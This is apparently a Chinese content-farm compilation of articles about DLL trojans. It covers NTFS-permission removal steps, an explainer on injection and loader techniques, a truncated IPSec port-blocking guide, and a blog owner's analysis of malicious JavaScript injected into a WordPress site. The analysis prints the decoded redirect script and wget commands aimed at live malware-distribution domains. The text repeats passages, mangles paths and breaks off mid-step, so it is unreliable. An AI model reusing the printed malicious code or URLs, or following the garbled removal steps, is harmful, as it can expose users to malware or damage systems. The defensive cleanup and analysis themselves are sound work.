下面是小编整理的一剑封喉 用系统权限法清理dll木马WEB安全（共含6篇），欢迎大家阅读分享借鉴，希望对大家有所帮助。同时，但愿您也能像本文投稿人“淳雩”一样，积极向本站投稿分享好文章。
相信大家对Dll木马都是非常熟悉了，
一剑封喉 用系统权限法清理dll木马WEB安全
。它确实是个非常招人恨的家伙。它不像普通的exe木马那样便于识别和清理，这个家伙的隐蔽性非常强，它可以嵌入到一些如rundll32.exe,svchost.exe等正常的进程中去，让你找不到，即使找到了也难以清除，因为正常的进程正在调用它嘛。
我用的是mcafee的杀毒软件，比如说它现在报告
defds.dll:C: Documents and SettingsAdministratorLocal Settings Temp defds.dll删除失败
fdgeg.com:C:Windowsimefdgeg.com删除失败
那么可以知道defds.dll应该是个dll木马 我们可以通过冰刃icesword来查看系统的进程，找到调用该dll文件的进程 比如说是notepad.exe 我们可以先尝试着终止该进程 该进程如果终止后过不了多久又重新运行（而我并没有运行记事本）那么我们可以判定fdgeg.com就是notepad.exe的的守护进程 当它发现它所监视的notepad.exe进程被终止后会立刻将notepad.exe重新启用
现在我们可以：我的电脑-----工具----文件夹选项-----查看在高级设置的选项下去掉”简单文件共享”的钩子(我的电脑是XP操作系统，NTFS磁盘格式)
然后到C:Windo0wsime下找到fdgeg.com 右键选择属性 在属性中选择”安全” 单击”高级” 在弹出的窗口中使”从父项继承那些可以应用到子对象的权限项目，包括那些在此明确定义的项目”不被选中，再在弹出的窗口中单击”删除”,再依次单击”确定”，
《一剑封喉 用系统权限法清理dll木马WEB安全》()。这样就没有任何用户可以使fdgeg.com工作了。
通过icesword终止notepad.exe 然后到C: Documents and SettingsAdministratorLocal Settings Temp中删除defds.dll 然后到C:Windowsime中再找到fdgeg.com 右键属性在属性中选择”安全” 单击”高级” 在弹出的窗口中选中”从父项继承那些可以应用到子对象的权限项目，包括那些在此明确定义的项目” 然后删除它即可
最后别忘了在注册表的启动项中将这个dll木马删除
这样 我们就彻底将这个讨厌的dll木马从我们的电脑中清除了。
一剑封喉 用系统的权限法清理dll木马
。 我用的是Mcafee的杀毒软件，比如说它现在报告
正文：相信大家对Dll木马都是非常熟悉了。它确实是个非常招人恨的家伙。它不像普通的exe木马那样便于识别和清理，这个家伙的隐蔽性非常强，它可以嵌入到一些如rundll32.exe,svchost.exe等正常的进程中去，让你找不到，即使找到了也难以清除，因为正常的进程正在调用它嘛。
我用的是Mcafee的杀毒软件，比如说它现在报告
现在我们可以：我的电脑-----工具----文件夹选项-----查看在高级设置的选项下去掉”简单文件共享”的钩子(我的电脑是XP操作系统，NTFS磁盘格式)然后到C:/Windo0ws/ime下找到fdgeg.com 右键选择属性 在属性中选择”安全” 单击”高级” 在弹出的窗口中使”从父项继承那些可以应用到子对象的权限项目，包括那些在此明确定义的项目”不被选中，再在弹出的窗口中单击”删除”,再依次单击”确定”，
《一剑封喉 用系统的权限法清理dll木马》()。这样就没有任何用户可以使fdgeg.com工作了。通过IceSword终止notepad.exe 然后到
最后别忘了在注册表的启动项中将这个dll木马删除这样 我们就彻底将这个讨厌的dll木马从我们的电脑中清除了。
相信大家对Dll木马都是非常熟悉了，它确实是个非常招人恨的家伙。它不像普通的exe木马那样便于识别和清理，这个家伙的隐蔽性非常强，它可以嵌入到一些如rundll32.exe,svchost.exe等正常的进程中去，让你找不到，即使找到了也难以清除，因为正常的进程正在调用它嘛。
我用的是mcafee的杀毒软件，比如说它现在报告
defds.dll:C: Documents and SettingsAdministratorLocal Settings Temp defds.dll删除失败
fdgeg.com:C:Windowsimefdgeg.com删除失败
那么可以知道defds.dll应该是个dll木马 我们可以通过冰刃icesword来查看系统的进程，找到调用该dll文件的进程 比如说是notepad.exe 我们可以先尝试着终止该进程 该进程如果终止后过不了多久又重新运行（而我并没有运行记事本）那么我们可以判定fdgeg.com就是notepad.exe的的守护进程 当它发现它所监视的notepad.exe进程被终止后会立刻将notepad.exe重新启用
现在我们可以：我的电脑-----工具----文件夹选项-----查看在高级设置的选项下去掉”简单文件共享”的钩子(我的电脑是XP操作系统，NTFS磁盘格式)
然后到C:Windo0wsime下找到fdgeg.com 右键选择属性 在属性中选择”安全” 单击”高级” 在弹出的窗口中使”从父项继承那些可以应用到子对象的权限项目，包括那些在此明确定义的项目”不被选中，再在弹出的窗口中单击”删除”,再依次单击”确定”，
这样就没有任何用户可以使fdgeg.com工作了。
通过icesword终止notepad.exe 然后到C: Documents and SettingsAdministratorLocal Settings Temp中删除defds.dll 然后到C:Windowsime中再找到fdgeg.com 右键属性在属性中选择”安全” 单击”高级” 在弹出的窗口中选中”从父项继承那些可以应用到子对象的权限项目，包括那些在此明确定义的项目” 然后删除它即可
最后别忘了在注册表的启动项中将这个dll木马删除
这样 我们就彻底将这个讨厌的dll木马从我们的电脑中清除了。
相信经常玩木马的朋友们都会知道一些木马的特性，也会有自己最喜爱的木马，不过，很多朋友依然不知道近年兴起的“DLL木马”为何物，什么是“DLL木马”呢？它与一般的木马有什么不同？
一、从DLL技术说起
要了解DLL木马，就必须知道这个“DLL”是什么意思，所以，让我们追溯到几年前，DOS系统大行其道的日子里。在那时候，写程序是一件繁琐的事情，因为每个程序的代码都是独立的，有时候为了实现一个功能，就要为此写很多代码，后来随着编程技术发展，程序员们把很多常用的代码集合（通用代码）放进一个独立的文件里，并把这个文件称为“库”（Library），在写程序的时候，把这个库文件加入编译器，就能使用这个库包含的所有功能而不必自己再去写一大堆代码，这个技术被称为“静态链接”（Static Link）。静态链接技术让劳累的程序员松了口气，一切似乎都很美好。可是事实证明，美好的事物不会存在太久，因为静态链接就像一个粗鲁的推销员，不管你想不想要宣传单，他都全部塞到你的手上来。写一个程序只想用到一个库文件包含的某个图形效果，就因为这个，你不得不把这个库文件携带的所有的图形效果都加入程序，留着它们当花瓶摆设，这倒没什么重要，可是这些花瓶却把道路都阻塞了――静态链接技术让最终的程序成了大块头，因为编译器把整个库文件也算进去了。
时代在发展，静态链接技术由于天生的弊端，不能满足程序员的愿望，人们开始寻找一种更好的方法来解决代码重复的难题。后来，Windows系统出现了，时代的分水岭终于出现。Windows系统使用一种新的链接技术，这种被称为“动态链接”（Dynamic Link）的新技术同样也是使用库文件，微软称它们为“动态链接库”――Dynamic Link Library，DLL的名字就是这样来的。动态链接本身和静态链接没什么区别，也是把通用代码写进一些独立文件里，但是在编译方面，微软绕了个圈子，并没有采取把库文件加进程序的方法，而是把库文件做成已经编译好的程序文件，给它们开个交换数据的接口，程序员写程序的时候，一旦要使用某个库文件的一个功能函数，系统就把这个库文件调入内存，连接上这个程序占有的任务进程，然后执行程序要用的功能函数，并把结果返回给程序显示出来，在我们看来，就像是程序自己带有的功能一样。完成需要的功能后，这个DLL停止运行，整个调用过程结束。微软让这些库文件能被多个程序调用，实现了比较完美的共享，程序员无论要写什么程序，只要在代码里加入对相关DLL的调用声明就能使用它的全部功能。最重要的是，DLL绝对不会让你多拿一个花瓶，你要什么它就给你什么，你不要的东西它才不会给你。这样，写出来的程序就不能再携带一大堆垃圾了――绝对不会让你把吃剩的东西带回家，否则罚款，这是自助餐。
DLL技术的诞生，使编写程序变成一件简单的事情，Windows为我们提供了几千个函数接口，足以满足大多数程序员的需要。而且，Windows系统自身就是由几千个DLL文件组成，这些DLL相互扶持，组成了强大的Windows系统。如果Windows使用静态链接技术，它的体积会有多大？我不敢想。
二、应用程序接口API
上面我们对DLL技术做了个大概分析，在里面我提到了“接口”，这又是什么呢？因为DLL不能像静态库文件那样塞进程序里，所以，如何让程序知道实现功能的代码和文件成了问题，微软就为DLL技术做了标准规范，让一个DLL文件像奶酪一样开了许多小洞，每个洞口都注明里面存放的功能的名字，程序只要根据标准规范找到相关洞口就可以取得它要的美味了，这个洞口就是“应用程序接口”（Application Programming Interface），每个DLL带的接口都不相同，尽最大可能的减少了代码的重复。用Steven的一句话：API就是一个工具箱，你根据需要取出螺丝刀、扳手，用完后再把它们放回原处。在Windows里，最基本的3个DLL文件是kernel32.dll、user32.dll、gdi32.dll。它们共同构成了基本的系统框架。
三、DLL与木马
DLL是编译好的代码，与一般程序没什么大差别，只是它不能独立运行，需要程序调用。那么，DLL与木马能扯上什么关系呢？如果你学过编程并且写过DLL，就会发现，其实DLL的代码和其他程序几乎没什么两样，仅仅是接口和启动模式不同，只要改动一下代码入口，DLL就变成一个独立的程序了。当然，DLL文件是没有程序逻辑的，这里并不是说DLL=EXE，不过，依然可以把DLL看做缺少了main入口的EXE，DLL带的各个功能函数可以看作一个程序的几个函数模块。DLL木马就是把一个实现了木马功能的代码，加上一些特殊代码写成DLL文件，导出相关的API，在别人看来，这只是一个普通的DLL，但是这个DLL却携带了完整的木马功能，这就是DLL木马的概念。也许有人会问，既然同样的代码就可以实现木马功能，那么直接做程序就可以，为什么还要多此一举写成DLL呢？这是为了隐藏，因为DLL运行时是直接挂在调用它的程序的进程里的，并不会另外产生进程，所以相对于传统EXE木马来说，它很难被查到。
四、DLL的运行
虽然DLL不能自己运行，可是Windows在加载DLL的时候，需要一个入口函数，就如同EXE的main一样，否则系统无法引用DLL，
所以根据编写规范，Windows必须查找并执行DLL里的一个函数DllMain作为加载DLL的依据，这个函数不作为API导出，而是内部函数。DllMain函数使DLL得以保留在内存里，有的DLL里面没有DllMain函数，可是依然能使用，这是因为Windows在找不到DllMain的时候，会从其它运行库中找一个不做任何操作的缺省DllMain函数启动这个DLL使它能被载入，并不是说DLL可以放弃DllMain函数。
五、DLL木马技术分析
到了这里，您也许会想，既然DLL木马有那么多好处，以后写木马都采用DLL方式不就好了吗？话虽然是这么说没错，但是DLL木马并不是一些人想象的那么容易写的。要写一个能用的DLL木马，你需要了解更多知识。
1.木马的主体
千万别把木马模块写得真的像个API库一样，这不是开发WINAPI。DLL木马可以导出几个辅助函数，但是必须有一个过程负责主要执行代码，否则这个DLL只能是一堆零碎API函数，别提工作了。
如果涉及一些通用代码，可以在DLL里写一些内部函数，供自己的代码使用，而不是把所有代码都开放成接口，这样它自己本身都难调用了，更不可能发挥作用。
DLL木马的标准执行入口为DllMain，所以必须在DllMain里写好DLL木马运行的代码，或者指向DLL木马的执行模块。
2.动态嵌入技术
Windows中，每个进程都有自己的私有内存空间，别的进程是不允许对这个私人领地进行操作的，但是，实际上我们仍然可以利用种种方法进入并操作进程的私有内存，这就是动态嵌入，它是将自己的代码嵌入正在运行的进程中的技术。动态嵌入有很多种，最常见的是钩子、API以及远程线程技术，现在的大多数DLL木马都采用远程线程技术把自己挂在一个正常系统进程中。其实动态嵌入并不少见，罗技的MouseWare驱动就挂着每一个系统进程-_-
远程线程技术就是通过在另一个进程中创建远程线程（RemoteThread）的方法进入那个进程的内存地址空间。在DLL木马的范畴里，这个技术也叫做“注入”，当载体在那个被注入的进程里创建了远程线程并命令它加载DLL时，木马就挂上去执行了，没有新进程产生，要想让木马停止惟有让挂接这个木马DLL的进程退出运行。但是，很多时候我们只能束手无策――它和Explorer.exe挂在一起了，你确定要关闭Windows吗？
3.木马的启动
有人也许会迫不及待的说，直接把这个DLL加入系统启动项目不就可以了。答案是NO，前面说过，DLL不能独立运行，所以无法在启动项目里直接启动它。要想让木马跑起来，就需要一个EXE使用动态嵌入技术让DLL搭上其他正常进程的车，让被嵌入的进程调用这个DLL的DllMain函数，激发木马运行，最后启动木马的EXE结束运行，木马启动完毕。
启动DLL木马的EXE是个重要角色，它被称为Loader，如果没有Loader，DLL木马就是破烂一堆，因此，一个算得上成熟的DLL木马会想办法保护它的Loader不会那么容易被毁灭。记得狼狈为奸的故事吗？DLL木马就是爬在狼Loader上的狈。
Loader可以是多种多样的，Windows的rundll32.exe也被一些DLL木马用来做了Loader，这种木马一般不带动态嵌入技术，它直接挂着rundll32进程运行，用rundll32的方法（rundll32.exe [DLL名],[函数] [参数]）像调用API一样去引用这个DLL的启动函数激发木马模块开始执行，即使你杀了rundll32，木马本体还是在的，一个最常见的例子就是3721中文实名，虽然它不是木马。
注册表的AppInit_DLLs键也被一些木马用来启动自己，如求职信病毒。利用注册表启动，就是让系统执行DllMain来达到启动木马的目的。因为它是kernel调入的，对这个DLL的稳定性有很大要求，稍有错误就会导致系统崩溃，所以很少看到这种木马。
有一些更复杂点的DLL木马通过svchost.exe启动，这种DLL木马必须写成NT-Service，入口函数是ServiceMain，一般很少见，但是这种木马的隐蔽性也不错，而且Loader有保障。
4.其它
到这里大家也应该对DLL木马有个了解了，是不是很想写一个？别急，不知道大家想过没有，既然DLL木马这么好，为什么到现在能找到的DLL木马寥寥无几？现在让我来泼冷水，最重要的原因只有一个：由于DLL木马挂着系统进程运行，如果它本身写得不好，例如没有防止运行错误的代码或者没有严格规范用户的输入，DLL就会出错崩溃。别紧张，一般的EXE也是这样完蛋的，但是DLL崩溃会导致它挂着的程序跟着遭殃，别忘记它挂接的是系统进程哦，结局就是……惨不忍睹。所以写一个能公布的DLL木马，在排错检查方面做的工作要比一般的EXE木马多，写得多了自己都烦躁……
六、DLL木马的发现和查杀
经常看看启动项有没有多出莫名其妙的项目，这是Loader的所在，只要杀了狼，狈就不能再狂了。而DLL木马本体比较难发现，需要你有一定编程知识和分析能力，在Loader里查找DLL名称，或者从进程里看多挂接了什么陌生的DLL，可是对新手来说……总之就是比较难啊比较难，所以，最简单的方法：杀毒软件和防火墙（不是万能药，切忌长期服用）。
“木马”一个让用户头疼的字眼，它们悄然无声的进入我们的系统，叫人防不胜防，当木马悄悄打开某扇“方便之门”(端口)时，不速之客就会神不知鬼不觉地侵入你的电脑。如果被种下木马其实也不必担心，首先我们要切断它们与外界的联系(就是堵住可疑端口)。
在Win /XP/系统中，Microsoft管理控制台(MMC)已将系统的配置功能汇集成配置模块，大大方便我们进行特殊的设置(以Telnet利用的23端口为例，笔者的操作系统为Windows XP)，
操作步骤
首先单击“运行”在框中输入“mmc”后回车，会弹出“控制台1”的窗口。我们依次选择“文件→添加/删除管理单元→在独立标签栏中点击‘添加’→IP安全策略管理”，最后按提示完成操作。这时，我们已把“IP安全策略，在本地计算机”(以下简称“IP安全策略”)添加到“控制台根节点”下。
现在双击“IP安全策略”就可以新建一个管理规则了。右击“IP安全策略”，在弹出的快捷菜单中选择“创建IP安全策略”，打开IP安全策略向导，点击“下一步→名称默认为‘新IP安全策略’→下一步→不必选择‘激活默认响应规则’”(注意:在点击“下一步的同时，需要确认此时“编辑属性”被选中)，然后选择“完成→在“新IP安全策略属性→添加→不必选择‘使用添加向导’”。
今天真的载了，居然wordpress也被挂马了，太不可思议了，
事情如下：
晚上发篇文章，突然想到了一个对wordpress进行改进的方案，图片/附件与web分离，当然这个需求可能极少见，因为大多数wordpress都不会遇到这样的问题：空间不够用（直接升级主机了）、对附件的下载打开严重影响到web (如html,css,js)的访问速度。
但进入后台，看到快速发文章的内容框里很怪异，默认就有下面的一段文字，js代码，下面的最近草稿也显示有类似的js代码，心下不好，可能是被挂马了。不过还好，前几天为了试用新买vps性能，把整个wordpress数据库备份了一份，看来还真是所幸。
没有马上理会，记下wp改进方案，但没写几个字，感觉心里不舒服，wp的影响到底有多大，还并不知道。于是在wp后台里随便查看文章，连phpmyadmin查看数据库，初步的评估是，并不严重，只发现了在文章内容字段最后加入了下面的一段js代码，应该并没有数据丢失。这个问题，处理很容易，数据库update就可以了。在进行操作之前，备份整个数据库，保留原始“罪证”材料。于是执行如本文后面附的sql代码，问题得以解决，不想同一个数据库里放的另一个wp也同样的被挂马了，于是同样代码处理之。得解，mysql数据库的其它表，没有仔细检验，大致扫了一下，应该没有挂。明天周五，该周末了，周末再仔细检查一下。
被挂马，定是有漏洞，但漏洞在哪里还并不得而知。也要到周末再查了。
数据备份很重要，要启动自动备份机制，还是要购买并安装到vps上更合适。vps可以容易设置服务器上的定时任务。
写这篇文章时，才意识到怪不得今天访问量比前几天明显的低，被挂马也能也就是其中一个原因，估计还是重要原因。之前还以为可能的目的访客都关注“盐”的问题去了。
这是一段JS木马，请一定谨慎，不要在浏览器中执行。但在本站本文中阅读是安全的，本文url如下www.path8.net/tn/archives/4201 ；但笔者不能保证对本文的转载也是安全。
清理木马的sql代码
update `pre_posts` set `post_content`=replace(`post_content`,'','')
影响了 4045 行。 ( 查询花费 0.8925 秒 )
-----------------------------
UPDATE `pre2_posts` SET `post_content` = replace( `post_content` , '', '' )影响了 2174 行。 ( 查询花费 3.1435 秒 )
---------------------以下部分为2011-03-19补写，上面部分也有少量改动。---------------------
致歉：
因为笔者不慎，而导致本文中木马的存在，特向读者朋友们致歉，建议在2011-03-19 12:00 前读过本文、且使用windows操作系统的读者，全盘扫描病毒，以保障安全。
因为笔者主要使用fedora linux，在一定程度上，这也造成了没有及时发现这一问题。
再次杯具的发现：
本周六上午，看到wordpress里有条留言，“在浏览你：“小杯具了，wordpress居然被挂马了/清理过程简记”这个帖子的时候发现自动跳转到一个网页，下载了几个。EXE 用360扫描后发现报病毒，下面是下载信息： pcupdate107_2129.exe www1.firstok-security.rr.nu/retkko107_2129.php?xtev4=nNra76uj2eTZ29CRotz 不知道是我浏览器问题还是怎么回事，当时我用scientific 加 chrome”，心下不好，当时好像是使用wordpress后台发文章时，好像是使用的html代码模式，而不是可视化编辑器模式，直接把js的木马帖进去，那岂不是自己给自己种了木马？！ 马上查看文章，速度很慢；为了安全起见趁页面还没有打开，关闭了firefox的js（使用js switch插件实现）。果然，html源代码里那个木马静静的躺着，好像在呲牙咧嘴的嘲笑着我，马上把整个html剪切出来，稍作修饰，切换到可视化编辑器下贴进去。html里的<,>就被自动转义为<与>这样就不会被浏览器当作js代码执行了。——废话了——修改完毕后，对这只木马要解剖一下，这也是前天写篇文章时想做的，但因为已经是深夜12点多，而暂放下。
致谢：
——上面所说的留言由“标点sign555.blog.51cto.com/”所发，在这里深表由衷的感谢！！
木马解剖：
这是一段JS木马，请一定谨慎，不要在浏览器中执行。但在本站本文中阅读是安全的，本文url如下www.path8.net/tn/archives/4201 ；但笔者不能保证对本文的转载也是安全。
分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串，执行时要先unescape反转码，得到一个字符串，然后把该字符串当作一段代码eval执行。
新建一个.html文件，内容如下：
在chrome里查看，但得到提示消息：
看来chrome在安全方面做得确实不错，对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是，一段js，再从某个网站上下载木马（一般网页挂马都是这个模式），document.write 写到页面里的这段代码，还是可能被执行的，这不安全的，尽管我在linux下，要换一下输出方式。
使用alert提示框，这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的，这比windows下的alert消息框方便多了！代码如下
小心，这段也是木马document.write('');
看到了，反编码后的字串果然就是个document.write语句，往页面html文档里写入一段js，这段js就来自一个从外部站点上下来的文档，这里还是个动态文件，看来这个域名上有很多木马，以参数传递；或者后面的?kk=33只是用来统计来源的字串，
看看它是什么东西，要有点探索精神～～
这次就不能使用浏览器了，不安全，也不方便；那用什么呢？Linux终端命令行啊！wget 这不是最方便的工具吗？
[feng@fsc tmp]$ wget lessthenaminutehandle.com/js.php?kk=33
[feng@fsc tmp]$ cat js.php?kk=33
function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
var ewefwe=new Date();
var vcwc = ewefwe.getDate()+ebtal;
ewefwe.setDate(vcwc);
var owc3te = ewefwe.toGMTString();
document.cookie=cefrvwerfv3rg5e+“=”+escape(vbeal)+“;expires=”+owc3te;
}
function wsdfsdd(cefrvwerfv3rg5e){if (document.cookie.indexOf(cefrvwerfv3rg5e+“=”)!=-1)return “1”;
return “”;
}
if (wsdfsdd(“eererfero”)==“”){
ssdfsc(“eererfero”,“1”,20);
var derverv=“www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D”;
window.top.location.replace(derverv);
}
还要从别的站点上下载文件，不知道是什么，再来点探索精神，看看：
wget -O xxx.js www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D
以为又是个js，结果是个html文档，比较大，就不贴出来了，参看附件：
xxx.js.html.zip 木马文件，慎重下载
还有，前面的js请求传递的kk=33，分析一下这个站点上是不是多个木马，还仅仅是个统计用的参数
[feng@fsc tmp]$ wget lessthenaminutehandle.com/js.php?kk=32--2011-03-19 12:12:06-- lessthenaminutehandle.com/js.php?kk=32正在解析主机 lessthenaminutehandle.com... 91.193.194.110正在连接 lessthenaminutehandle.com|91.193.194.110|:80... 已连接。已发出 HTTP 请求，正在等待回应... 200 OK长度：573 [text/html]正在保存至: “js.php?kk=32”100%[======================================>] 573 --.-K/s in 0s 2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32” [573/573])[feng@fsc tmp]$ cat js.php?kk=32function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){ var ewefwe=new Date(); var vcwc = ewefwe.getDate()+ebtal; ewefwe.setDate(vcwc); var owc3te = ewefwe.toGMTString(); document.cookie=cefrvwerfv3rg5e+“=”+escape(vbeal)+“;expires=”+owc3te;}function wsdfsdd(cefrvwerfv3rg5e){ if (document.cookie.indexOf(cefrvwerfv3rg5e+“=”)!=-1)return “1”; return “”;}if (wsdfsdd(“eererfero”)==“”){ ssdfsc(“eererfero”,“1”,20); var derverv=“www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D”; window.top.location.replace(derverv);}
好像一样，那基本上可以认定是个统计参数，马夫们也要来统计马都撒到哪里了，虽然这些马夫很可恶，没有一点 精神，就会拿 技术来搞破坏、谋私利！
貌似很复杂，都十二点半了，不看了，探索精神不能当饭吃，准备吃饭去。
突然联想到，这些所谓有 他，也会说一句类似的话：“ 精神又不能当饭吃！” ——这个最让整个人类 的事情：“吃饭”
